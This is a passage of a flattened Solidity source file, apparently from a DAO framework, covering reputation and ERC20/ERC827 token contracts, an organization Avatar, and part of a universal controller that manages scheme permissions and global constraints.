uint256 public totalSupply;
uint public decimals = 18;
// Event indicating minting of reputation to an address.
event Mint(address indexed _to, uint256 _amount);
// Event indicating burning of reputation for an address.
event Burn(address indexed _from, uint256 _amount);
/**
* @dev return the reputation amount of a given owner
* @param _owner an address of the owner which we want to get his reputation
*/
function reputationOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
/**
* @dev Generates `_amount` of reputation that are assigned to `_to`
* @param _to The address that will be assigned the new reputation
* @param _amount The quantity of reputation to be generated
* @return True if the reputation are generated correctly
*/
function mint(address _to, uint _amount)
public
onlyOwner
returns (bool)
{
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
return true;
}
/**
* @dev Burns `_amount` of reputation from `_from`
* if _amount tokens to burn > balances[_from] the balance of _from will turn to zero.
* @param _from The address that will lose the reputation
* @param _amount The quantity of reputation to burn
* @return True if the reputation are burned correctly
*/
function burn(address _from, uint _amount)
public
onlyOwner
returns (bool)
{
uint amountMinted = _amount;
if (balances[_from] < _amount) {
amountMinted = balances[_from];
}
totalSupply = totalSupply.sub(amountMinted);
balances[_from] = balances[_from].sub(amountMinted);
emit Burn(_from, amountMinted);
return true;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/MintableToken.sol
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/BurnableToken.sol
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
// File: contracts/token/ERC827/ERC827.sol
/**
* @title ERC827 interface, an extension of ERC20 token standard
*
* @dev Interface of a ERC827 token, following the ERC20 standard with extra
* methods to transfer value and data and execute calls in transfers and
* approvals.
*/
contract ERC827 is ERC20 {
function approveAndCall(address _spender,uint256 _value,bytes _data) public payable returns(bool);
function transferAndCall(address _to,uint256 _value,bytes _data) public payable returns(bool);
function transferFromAndCall(address _from,address _to,uint256 _value,bytes _data) public payable returns(bool);
}
// File: contracts/token/ERC827/ERC827Token.sol
/* solium-disable security/no-low-level-calls */
pragma solidity ^0.4.24;
/**
* @title ERC827, an extension of ERC20 token standard
*
* @dev Implementation the ERC827, following the ERC20 standard with extra
* methods to transfer value and data and execute calls in transfers and
* approvals. Uses OpenZeppelin StandardToken.
*/
contract ERC827Token is ERC827, StandardToken {
/**
* @dev Addition to ERC20 token methods. It allows to
* approve the transfer of value and execute a call with the sent data.
* Beware that changing an allowance with this method brings the risk that
* someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race condition
* is to first reduce the spender's allowance to 0 and set the desired value
* afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address that will spend the funds.
* @param _value The amount of tokens to be spent.
* @param _data ABI-encoded contract call to call `_spender` address.
* @return true if the call function was executed successfully
*/
function approveAndCall(
address _spender,
uint256 _value,
bytes _data
)
public
payable
returns (bool)
{
require(_spender != address(this));
super.approve(_spender, _value);
// solium-disable-next-line security/no-call-value
require(_spender.call.value(msg.value)(_data));
return true;
}
/**
* @dev Addition to ERC20 token methods. Transfer tokens to a specified
* address and execute a call with the sent data on the same transaction
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
* @param _data ABI-encoded contract call to call `_to` address.
* @return true if the call function was executed successfully
*/
function transferAndCall(
address _to,
uint256 _value,
bytes _data
)
public
payable
returns (bool)
{
require(_to != address(this));
super.transfer(_to, _value);
// solium-disable-next-line security/no-call-value
require(_to.call.value(msg.value)(_data));
return true;
}
/**
* @dev Addition to ERC20 token methods. Transfer tokens from one address to
* another and make a contract call on the same transaction
* @param _from The address which you want to send tokens from
* @param _to The address which you want to transfer to
* @param _value The amout of tokens to be transferred
* @param _data ABI-encoded contract call to call `_to` address.
* @return true if the call function was executed successfully
*/
function transferFromAndCall(
address _from,
address _to,
uint256 _value,
bytes _data
)
public payable returns (bool)
{
require(_to != address(this));
super.transferFrom(_from, _to, _value);
// solium-disable-next-line security/no-call-value
require(_to.call.value(msg.value)(_data));
return true;
}
/**
* @dev Addition to StandardToken methods. Increase the amount of tokens that
* an owner allowed to a spender and execute a call with the sent data.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
* @param _data ABI-encoded contract call to call `_spender` address.
*/
function increaseApprovalAndCall(
address _spender,
uint _addedValue,
bytes _data
)
public
payable
returns (bool)
{
require(_spender != address(this));
super.increaseApproval(_spender, _addedValue);
// solium-disable-next-line security/no-call-value
require(_spender.call.value(msg.value)(_data));
return true;
}
/**
* @dev Addition to StandardToken methods. Decrease the amount of tokens that
* an owner allowed to a spender and execute a call with the sent data.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
* @param _data ABI-encoded contract call to call `_spender` address.
*/
function decreaseApprovalAndCall(
address _spender,
uint _subtractedValue,
bytes _data
)
public
payable
returns (bool)
{
require(_spender != address(this));
super.decreaseApproval(_spender, _subtractedValue);
// solium-disable-next-line security/no-call-value
require(_spender.call.value(msg.value)(_data));
return true;
}
}
// File: contracts/controller/DAOToken.sol
/**
* @title DAOToken, base on zeppelin contract.
* @dev ERC20 compatible token. It is a mintable, destructible, burnable token.
*/
contract DAOToken is ERC827Token,MintableToken,BurnableToken {
string public name;
string public symbol;
// solium-disable-next-line uppercase
uint8 public constant decimals = 18;
uint public cap;
/**
* @dev Constructor
* @param _name - token name
* @param _symbol - token symbol
* @param _cap - token cap - 0 value means no cap
*/
constructor(string _name, string _symbol,uint _cap) public {
name = _name;
symbol = _symbol;
cap = _cap;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) public onlyOwner canMint returns (bool) {
if (cap > 0)
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
// File: contracts/controller/Avatar.sol
/**
* @title An Avatar holds tokens, reputation and ether for a controller
*/
contract Avatar is Ownable {
bytes32 public orgName;
DAOToken public nativeToken;
Reputation public nativeReputation;
event GenericAction(address indexed _action, bytes32[] _params);
event SendEther(uint _amountInWei, address indexed _to);
event ExternalTokenTransfer(address indexed _externalToken, address indexed _to, uint _value);
event ExternalTokenTransferFrom(address indexed _externalToken, address _from, address _to, uint _value);
event ExternalTokenIncreaseApproval(StandardToken indexed _externalToken, address _spender, uint _addedValue);
event ExternalTokenDecreaseApproval(StandardToken indexed _externalToken, address _spender, uint _subtractedValue);
event ReceiveEther(address indexed _sender, uint _value);
/**
* @dev the constructor takes organization name, native token and reputation system
and creates an avatar for a controller
*/
constructor(bytes32 _orgName, DAOToken _nativeToken, Reputation _nativeReputation) public {
orgName = _orgName;
nativeToken = _nativeToken;
nativeReputation = _nativeReputation;
}
/**
* @dev enables an avatar to receive ethers
*/
function() public payable {
emit ReceiveEther(msg.sender, msg.value);
}
/**
* @dev perform a generic call to an arbitrary contract
* @param _contract the contract's address to call
* @param _data ABI-encoded contract call to call `_contract` address.
* @return the return bytes of the called contract's function.
*/
function genericCall(address _contract,bytes _data) public onlyOwner {
// solium-disable-next-line security/no-low-level-calls
bool result = _contract.call(_data);
// solium-disable-next-line security/no-inline-assembly
assembly {
// Copy the returned data.
returndatacopy(0, 0, returndatasize)
switch result
// call returns 0 on error.
case 0 { revert(0, returndatasize) }
default { return(0, returndatasize) }
}
}
/**
* @dev send ethers from the avatar's wallet
* @param _amountInWei amount to send in Wei units
* @param _to send the ethers to this address
* @return bool which represents success
*/
function sendEther(uint _amountInWei, address _to) public onlyOwner returns(bool) {
_to.transfer(_amountInWei);
emit SendEther(_amountInWei, _to);
return true;
}
/**
* @dev external token transfer
* @param _externalToken the token contract
* @param _to the destination address
* @param _value the amount of tokens to transfer
* @return bool which represents success
*/
function externalTokenTransfer(StandardToken _externalToken, address _to, uint _value)
public onlyOwner returns(bool)
{
_externalToken.transfer(_to, _value);
emit ExternalTokenTransfer(_externalToken, _to, _value);
return true;
}
/**
* @dev external token transfer from a specific account
* @param _externalToken the token contract
* @param _from the account to spend token from
* @param _to the destination address
* @param _value the amount of tokens to transfer
* @return bool which represents success
*/
function externalTokenTransferFrom(
StandardToken _externalToken,
address _from,
address _to,
uint _value
)
public onlyOwner returns(bool)
{
_externalToken.transferFrom(_from, _to, _value);
emit ExternalTokenTransferFrom(_externalToken, _from, _to, _value);
return true;
}
/**
* @dev increase approval for the spender address to spend a specified amount of tokens
* on behalf of msg.sender.
* @param _externalToken the address of the Token Contract
* @param _spender address
* @param _addedValue the amount of ether (in Wei) which the approval is referring to.
* @return bool which represents a success
*/
function externalTokenIncreaseApproval(StandardToken _externalToken, address _spender, uint _addedValue)
public onlyOwner returns(bool)
{
_externalToken.increaseApproval(_spender, _addedValue);
emit ExternalTokenIncreaseApproval(_externalToken, _spender, _addedValue);
return true;
}
/**
* @dev decrease approval for the spender address to spend a specified amount of tokens
* on behalf of msg.sender.
* @param _externalToken the address of the Token Contract
* @param _spender address
* @param _subtractedValue the amount of ether (in Wei) which the approval is referring to.
* @return bool which represents a success
*/
function externalTokenDecreaseApproval(StandardToken _externalToken, address _spender, uint _subtractedValue )
public onlyOwner returns(bool)
{
_externalToken.decreaseApproval(_spender, _subtractedValue);
emit ExternalTokenDecreaseApproval(_externalToken,_spender, _subtractedValue);
return true;
}
}
// File: contracts/globalConstraints/GlobalConstraintInterface.sol
contract GlobalConstraintInterface {
enum CallPhase { Pre, Post,PreAndPost }
function pre( address _scheme, bytes32 _params, bytes32 _method ) public returns(bool);
function post( address _scheme, bytes32 _params, bytes32 _method ) public returns(bool);
/**
* @dev when return if this globalConstraints is pre, post or both.
* @return CallPhase enum indication Pre, Post or PreAndPost.
*/
function when() public returns(CallPhase);
}
// File: contracts/controller/ControllerInterface.sol
/**
* @title Controller contract
* @dev A controller controls the organizations tokens ,reputation and avatar.
* It is subject to a set of schemes and constraints that determine its behavior.
* Each scheme has it own parameters and operation permissions.
*/
interface ControllerInterface {
/**
* @dev Mint `_amount` of reputation that are assigned to `_to` .
* @param _amount amount of reputation to mint
* @param _to beneficiary address
* @return bool which represents a success
*/
function mintReputation(uint256 _amount, address _to,address _avatar)
external
returns(bool);
/**
* @dev Burns `_amount` of reputation from `_from`
* @param _amount amount of reputation to burn
* @param _from The address that will lose the reputation
* @return bool which represents a success
*/
function burnReputation(uint256 _amount, address _from,address _avatar)
external
returns(bool);
/**
* @dev mint tokens .
* @param _amount amount of token to mint
* @param _beneficiary beneficiary address
* @param _avatar address
* @return bool which represents a success
*/
function mintTokens(uint256 _amount, address _beneficiary,address _avatar)
external
returns(bool);
/**
* @dev register or update a scheme
* @param _scheme the address of the scheme
* @param _paramsHash a hashed configuration of the usage of the scheme
* @param _permissions the permissions the new scheme will have
* @param _avatar address
* @return bool which represents a success
*/
function registerScheme(address _scheme, bytes32 _paramsHash, bytes4 _permissions,address _avatar)
external
returns(bool);
/**
* @dev unregister a scheme
* @param _avatar address
* @param _scheme the address of the scheme
* @return bool which represents a success
*/
function unregisterScheme(address _scheme,address _avatar)
external
returns(bool);
/**
* @dev unregister the caller's scheme
* @param _avatar address
* @return bool which represents a success
*/
function unregisterSelf(address _avatar) external returns(bool);
function isSchemeRegistered( address _scheme,address _avatar) external view returns(bool);
function getSchemeParameters(address _scheme,address _avatar) external view returns(bytes32);
function getGlobalConstraintParameters(address _globalConstraint,address _avatar) external view returns(bytes32);
function getSchemePermissions(address _scheme,address _avatar) external view returns(bytes4);
/**
* @dev globalConstraintsCount return the global constraint pre and post count
* @return uint globalConstraintsPre count.
* @return uint globalConstraintsPost count.
*/
function globalConstraintsCount(address _avatar) external view returns(uint,uint);
function isGlobalConstraintRegistered(address _globalConstraint,address _avatar) external view returns(bool);
/**
* @dev add or update Global Constraint
* @param _globalConstraint the address of the global constraint to be added.
* @param _params the constraint parameters hash.
* @param _avatar the avatar of the organization
* @return bool which represents a success
*/
function addGlobalConstraint(address _globalConstraint, bytes32 _params,address _avatar)
external returns(bool);
/**
* @dev remove Global Constraint
* @param _globalConstraint the address of the global constraint to be remove.
* @param _avatar the organization avatar.
* @return bool which represents a success
*/
function removeGlobalConstraint (address _globalConstraint,address _avatar)
external returns(bool);
/**
* @dev upgrade the Controller
* The function will trigger an event 'UpgradeController'.
* @param _newController the address of the new controller.
* @param _avatar address
* @return bool which represents a success
*/
function upgradeController(address _newController,address _avatar)
external returns(bool);
/**
* @dev perform a generic call to an arbitrary contract
* @param _contract the contract's address to call
* @param _data ABI-encoded contract call to call `_contract` address.
* @param _avatar the controller's avatar address
* @return bytes32 - the return value of the called _contract's function.
*/
function genericCall(address _contract,bytes _data,address _avatar)
external
returns(bytes32);
/**
* @dev send some ether
* @param _amountInWei the amount of ether (in Wei) to send
* @param _to address of the beneficiary
* @param _avatar address
* @return bool which represents a success
*/
function sendEther(uint _amountInWei, address _to,address _avatar)
external returns(bool);
/**
* @dev send some amount of arbitrary ERC20 Tokens
* @param _externalToken the address of the Token Contract
* @param _to address of the beneficiary
* @param _value the amount of ether (in Wei) to send
* @param _avatar address
* @return bool which represents a success
*/
function externalTokenTransfer(StandardToken _externalToken, address _to, uint _value,address _avatar)
external
returns(bool);
/**
* @dev transfer token "from" address "to" address
* One must to approve the amount of tokens which can be spend from the
* "from" account.This can be done using externalTokenApprove.
* @param _externalToken the address of the Token Contract
* @param _from address of the account to send from
* @param _to address of the beneficiary
* @param _value the amount of ether (in Wei) to send
* @param _avatar address
* @return bool which represents a success
*/
function externalTokenTransferFrom(StandardToken _externalToken, address _from, address _to, uint _value,address _avatar)
external
returns(bool);
/**
* @dev increase approval for the spender address to spend a specified amount of tokens
* on behalf of msg.sender.
* @param _externalToken the address of the Token Contract
* @param _spender address
* @param _addedValue the amount of ether (in Wei) which the approval is referring to.
* @param _avatar address
* @return bool which represents a success
*/
function externalTokenIncreaseApproval(StandardToken _externalToken, address _spender, uint _addedValue,address _avatar)
external
returns(bool);
/**
* @dev decrease approval for the spender address to spend a specified amount of tokens
* on behalf of msg.sender.
* @param _externalToken the address of the Token Contract
* @param _spender address
* @param _subtractedValue the amount of ether (in Wei) which the approval is referring to.
* @param _avatar address
* @return bool which represents a success
*/
function externalTokenDecreaseApproval(StandardToken _externalToken, address _spender, uint _subtractedValue,address _avatar)
external
returns(bool);
/**
* @dev getNativeReputation
* @param _avatar the organization avatar.
* @return organization native reputation
*/
function getNativeReputation(address _avatar)
external
view
returns(address);
}
// File: contracts/controller/UController.sol
/**
* @title Universal Controller contract
* @dev A universal controller hold organizations and controls their tokens ,reputations
* and avatar.
* It is subject to a set of schemes and constraints that determine its behavior.
* Each scheme has it own parameters and operation permissions.
*/
contract UController is ControllerInterface {
struct Scheme {
bytes32 paramsHash; // a hash "configuration" of the scheme
bytes4 permissions; // A bitwise flags of permissions,
// All 0: Not registered,
// 1st bit: Flag if the scheme is registered,
// 2nd bit: Scheme can register other schemes
// 3th bit: Scheme can add/remove global constraints
// 4rd bit: Scheme can upgrade the controller
// 5th bit: Scheme can call delegatecall
}
struct GlobalConstraint {
address gcAddress;
bytes32 params;
}
struct GlobalConstraintRegister {
bool isRegistered; //is registered
uint index; //index at globalConstraints
}
struct Organization {
DAOToken nativeToken;
Reputation nativeReputation;
mapping(address=>Scheme) schemes;
// globalConstraintsPre that determine pre- conditions for all actions on the controller
GlobalConstraint[] globalConstraintsPre;
// globalConstraintsPost that determine post-conditions for all actions on the controller
GlobalConstraint[] globalConstraintsPost;
// globalConstraintsRegisterPre indicate if a globalConstraints is registered as a Pre global constraint.
mapping(address=>GlobalConstraintRegister) globalConstraintsRegisterPre;
// globalConstraintsRegisterPost indicate if a globalConstraints is registered as a Post global constraint.
mapping(address=>GlobalConstraintRegister) globalConstraintsRegisterPost;
bool exist;
}
//mapping between organization's avatar address to Organization
mapping(address=>Organization) public organizations;
// newController will point to the new controller after the present controller is upgraded
// address external newController;
mapping(address=>address) public newControllers;//mapping between avatar address and newController address
//mapping for all reputation system addresses registered.
mapping(address=>bool) public reputations;
//mapping for all tokens addresses registered.
mapping(address=>bool) public tokens;
event MintReputation (address indexed _sender, address indexed _to, uint256 _amount,address indexed _avatar);
event BurnReputation (address indexed _sender, address indexed _from, uint256 _amount,address indexed _avatar);
event MintTokens (address indexed _sender, address indexed _beneficiary, uint256 _amount, address indexed _avatar);
event RegisterScheme (address indexed _sender, address indexed _scheme,address indexed _avatar);
event UnregisterScheme (address indexed _sender, address indexed _scheme, address indexed _avatar);
event GenericAction (address indexed _sender, bytes32[] _params);
event SendEther (address indexed _sender, uint _amountInWei, address indexed _to);
event ExternalTokenTransfer (address indexed _sender, address indexed _externalToken, address indexed _to, uint _value);
event ExternalTokenTransferFrom (address indexed _sender, address indexed _externalToken, address _from, address _to, uint _value);
event ExternalTokenIncreaseApproval (address indexed _sender, StandardToken indexed _externalToken, address _spender, uint _value);
event ExternalTokenDecreaseApproval (address indexed _sender, StandardToken indexed _externalToken, address _spender, uint _value);
event UpgradeController(address indexed _oldController,address _newController,address _avatar);
event GenericCall(address indexed _contract,bytes _data,address indexed _avatar);
event AddGlobalConstraint(
address indexed _globalConstraint,
bytes32 _params,
GlobalConstraintInterface.CallPhase _when,
address indexed _avatar
);
event RemoveGlobalConstraint(address indexed _globalConstraint ,uint256 _index,bool _isPre,address indexed _avatar);
/**
* @dev newOrganization set up a new organization with default daoCreator.
* @param _avatar the organization avatar
*/
function newOrganization(
Avatar _avatar
) external
{
require(!organizations[address(_avatar)].exist);
require(_avatar.owner() == address(this));
//To guaranty uniqueness for the reputation systems.
require(!reputations[_avatar.nativeReputation()]);
//To guaranty uniqueness for the reputation systems.
require(!tokens[_avatar.nativeToken()]);
organizations[address(_avatar)].exist = true;
organizations[address(_avatar)].nativeToken = _avatar.nativeToken();
organizations[address(_avatar)].nativeReputation = _avatar.nativeReputation();
reputations[_avatar.nativeReputation()] = true;
tokens[_avatar.nativeToken()] = true;
organizations[address(_avatar)].schemes[msg.sender] = Scheme({paramsHash: bytes32(0),permissions: bytes4(0x1F)});
emit RegisterScheme(msg.sender, msg.sender,_avatar);
}
// Modifiers:
modifier onlyRegisteredScheme(address avatar) {
require(organizations[avatar].schemes[msg.sender].permissions&bytes4(1) == bytes4(1));
_;
}
modifier onlyRegisteringSchemes(address avatar) {
require(organizations[avatar].schemes[msg.sender].permissions&bytes4(2) == bytes4(2));
_;
}
modifier onlyGlobalConstraintsScheme(address avatar) {
require(organizations[avatar].schemes[msg.sender].permissions&bytes4(4) == bytes4(4));
_;
}
modifier onlyUpgradingScheme(address _avatar) {
require(organizations[_avatar].schemes[msg.sender].permissions&bytes4(8) == bytes4(8));
_;
}
modifier onlyGenericCallScheme(address _avatar) {
require(organizations[_avatar].schemes[msg.sender].permissions&bytes4(16) == bytes4(16));
_;
}
modifier onlySubjectToConstraint(bytes32 func,address _avatar) {
uint idx;
GlobalConstraint[] memory globalConstraintsPre = organizations[_avatar].globalConstraintsPre;
GlobalConstraint[] memory globalConstraintsPost = organizations[_avatar].globalConstraintsPost;
for (idx = 0;idx<globalConstraintsPre.length;idx++) {
require((GlobalConstraintInterface(globalConstraintsPre[idx].gcAddress)).pre(msg.sender, globalConstraintsPre[idx].params, func));
}
_;
for (idx = 0;idx<globalConstraintsPost.length;idx++) {
require((GlobalConstraintInterface(globalConstraintsPost[idx].gcAddress)).post(msg.sender, globalConstraintsPost[idx].params, func));
}
}
/**
* @dev Mint `_amount` of reputation that are assigned to `_to` .
* @param _amount amount of reputation to mint
* @param _to beneficiary address
* @param _avatar the address of the organization's avatar
* @return bool which represents a success
*/
function mintReputation(uint256 _amount, address _to, address _avatar)
external
onlyRegisteredScheme(_avatar)
onlySubjectToConstraint("mintReputation",_avatar)
returns(bool)
{
emit MintReputation(msg.sender, _to, _amount,_avatar);
return organizations[_avatar].nativeReputation.mint(_to, _amount);
}
/**
* @dev Burns `_amount` of reputation from `_from`
* @param _amount amount of reputation to burn
* @param _from The address that will lose the reputation
* @return bool which represents a success
*/
function burnReputation(uint256 _amount, address _from,address _avatar)
external
onlyRegisteredScheme(_avatar)
onlySubjectToConstraint("burnReputation",_avatar)
returns(bool)
{
emit BurnReputation(msg.sender, _from, _amount,_avatar);
return organizations[_avatar].nativeReputation.burn(_from, _amount);
}
/**
* @dev mint tokens .
* @param _amount amount of token to mint
* @param _beneficiary beneficiary address
* @param _avatar the organization avatar.
* @return bool which represents a success
*/
function mintTokens(uint256 _amount, address _beneficiary,address _avatar)
external
onlyRegisteredScheme(_avatar)
onlySubjectToConstraint("mintTokens",_avatar)
returns(bool)
{
emit MintTokens(msg.sender, _beneficiary, _amount,_avatar);
return organizations[_avatar].nativeToken.mint(_beneficiary, _amount);
}
/**
* @dev register or update a scheme
* @param _scheme the address of the scheme
* @param _paramsHash a hashed configuration of the usage of the scheme
* @param _permissions the permissions the new scheme will have
* @param _avatar the organization avatar.
* @return bool which represents a success
*/
function registerScheme(address _scheme, bytes32 _paramsHash, bytes4 _permissions,address _avatar)
external
onlyRegisteringSchemes(_avatar)
onlySubjectToConstraint("registerScheme",_avatar)
returns(bool)
{
bytes4 schemePermission = organizations[_avatar].schemes[_scheme].permissions;
bytes4 senderPermission = organizations[_avatar].schemes[msg.sender].permissions;
// Check scheme has at least the permissions it is changing, and at least the current permissions:
// Implementation is a bit messy. One must recall logic-circuits ^^
// produces non-zero if sender does not have all of the perms that are changing between old and new
require(bytes4(0x1F)&(_permissions^schemePermission)&(~senderPermission) == bytes4(0));
// produces non-zero if sender does not have all of the perms in the old scheme
require(bytes4(0x1F)&(schemePermission&(~senderPermission)) == bytes4(0));
// Add or change the scheme:
organizations[_avatar].schemes[_scheme] = Scheme({paramsHash:_paramsHash,permissions:_permissions|bytes4(1)});
emit RegisterScheme(msg.sender, _scheme, _avatar);
return true;
}
/**
* @dev unregister a scheme
* @param _scheme the address of the scheme
* @param _avatar the organization avatar.
* @return bool which represents a success
*/
function unregisterScheme(address _scheme,address _avatar)
external
onlyRegisteringSchemes(_avatar)
onlySubjectToConstraint("unregisterScheme",_avatar)
returns(bool)
{
bytes4 schemePermission = organizations[_avatar].schemes[_scheme].permissions;
//check if the scheme is registered
if (schemePermission&bytes4(1) == bytes4(0)) {
return false;
}
// Check the unregistering scheme has enough permissions:
require(bytes4(0x1F)&(schemePermission&(~organizations[_avatar].schemes[msg.sender].permissions)) == bytes4(0));
// Unregister:
emit UnregisterScheme(msg.sender, _scheme,_avatar);
delete organizations[_avatar].schemes[_scheme];
return true;
}
/**
* @dev unregister the caller's scheme
* @param _avatar the organization avatar.
* @return bool which represents a success
*/
function unregisterSelf(address _avatar) external returns(bool) {
if (_isSchemeRegistered(msg.sender,_avatar) == false) {
return false;
}
delete organizations[_avatar].schemes[msg.sender];
emit UnregisterScheme(msg.sender, msg.sender,_avatar);
return true;
}
function isSchemeRegistered( address _scheme,address _avatar) external view returns(bool) {
return _isSchemeRegistered(_scheme,_avatar);
}
function getSchemeParameters(address _scheme,address _avatar) external view returns(bytes32) {
return organizations[_avatar].schemes[_scheme].paramsHash;
}
function getSchemePermissions(address _scheme,address _avatar) external view returns(bytes4) {
return organizations[_avatar].schemes[_scheme].permissions;
}
function getGlobalConstraintParameters(address _globalConstraint, address _avatar) external view returns(bytes32) {
Organization storage organization = organizations[_avatar];
GlobalConstraintRegister memory register = organization.globalConstraintsRegisterPre[_globalConstraint];
if (register.isRegistered) {
